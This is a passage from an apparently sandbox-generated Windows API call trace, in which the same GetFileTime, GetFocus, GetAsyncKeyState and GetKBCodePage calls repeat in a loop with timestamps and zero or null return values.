lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.762] GetAsyncKeyState (vKey=58) returned 0 [0256.762] GetKBCodePage () returned 0x1b5 [0256.762] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.762] GetAsyncKeyState (vKey=58) returned 0 [0256.762] GetKBCodePage () returned 0x1b5 [0256.762] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.762] GetAsyncKeyState (vKey=58) returned 0 [0256.762] GetKBCodePage () returned 0x1b5 [0256.762] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.762] GetAsyncKeyState (vKey=58) returned 0 [0256.762] GetKBCodePage () returned 0x1b5 [0256.762] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.762] GetAsyncKeyState (vKey=58) returned 0 [0256.762] GetKBCodePage () returned 0x1b5 [0256.762] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.762] GetAsyncKeyState (vKey=58) returned 0 [0256.762] GetKBCodePage () returned 0x1b5 [0256.762] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.762] GetAsyncKeyState (vKey=58) returned 0 [0256.762] GetKBCodePage () returned 0x1b5 [0256.762] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.763] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.763] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.763] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.763] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.763] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.763] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.763] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.763] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.763] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.763] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.763] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.763] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.763] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.763] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.763] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.763] GetFocus () returned 0x0 [0256.763] GetAsyncKeyState (vKey=58) returned 0 [0256.763] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.764] GetAsyncKeyState (vKey=58) returned 0 [0256.764] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.764] GetAsyncKeyState (vKey=58) returned 0 [0256.764] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.764] GetAsyncKeyState (vKey=58) returned 0 [0256.764] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.764] GetAsyncKeyState (vKey=58) returned 0 [0256.764] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.764] GetAsyncKeyState (vKey=58) returned 0 [0256.764] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.764] GetAsyncKeyState (vKey=58) returned 0 [0256.764] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.764] GetAsyncKeyState (vKey=58) returned 0 [0256.764] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.764] GetAsyncKeyState (vKey=58) returned 0 [0256.764] GetKBCodePage () returned 0x1b5 [0256.764] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.764] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.765] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.765] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.765] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.765] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.765] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.765] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.765] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.765] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.765] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.765] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.765] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.765] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.765] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.765] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.765] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.765] GetFocus () returned 0x0 [0256.765] GetAsyncKeyState (vKey=58) returned 0 [0256.765] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.766] GetAsyncKeyState (vKey=58) returned 0 [0256.766] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.766] GetAsyncKeyState (vKey=58) returned 0 [0256.766] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.766] GetAsyncKeyState (vKey=58) returned 0 [0256.766] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.766] GetAsyncKeyState (vKey=58) returned 0 [0256.766] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.766] GetAsyncKeyState (vKey=58) returned 0 [0256.766] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.766] GetAsyncKeyState (vKey=58) returned 0 [0256.766] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.766] GetAsyncKeyState (vKey=58) returned 0 [0256.766] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.766] GetAsyncKeyState (vKey=58) returned 0 [0256.766] GetKBCodePage () returned 0x1b5 [0256.766] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.766] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.767] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.767] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.767] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.767] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.767] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.767] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.767] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.767] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.767] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.767] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.767] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.767] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.767] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.767] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.767] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.767] GetFocus () returned 0x0 [0256.767] GetAsyncKeyState (vKey=58) returned 0 [0256.767] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.768] GetAsyncKeyState (vKey=58) returned 0 [0256.768] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.768] GetAsyncKeyState (vKey=58) returned 0 [0256.768] GetKBCodePage () returned 0x1b5 [0256.768] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.768] GetFocus () returned 0x0 [0256.768] 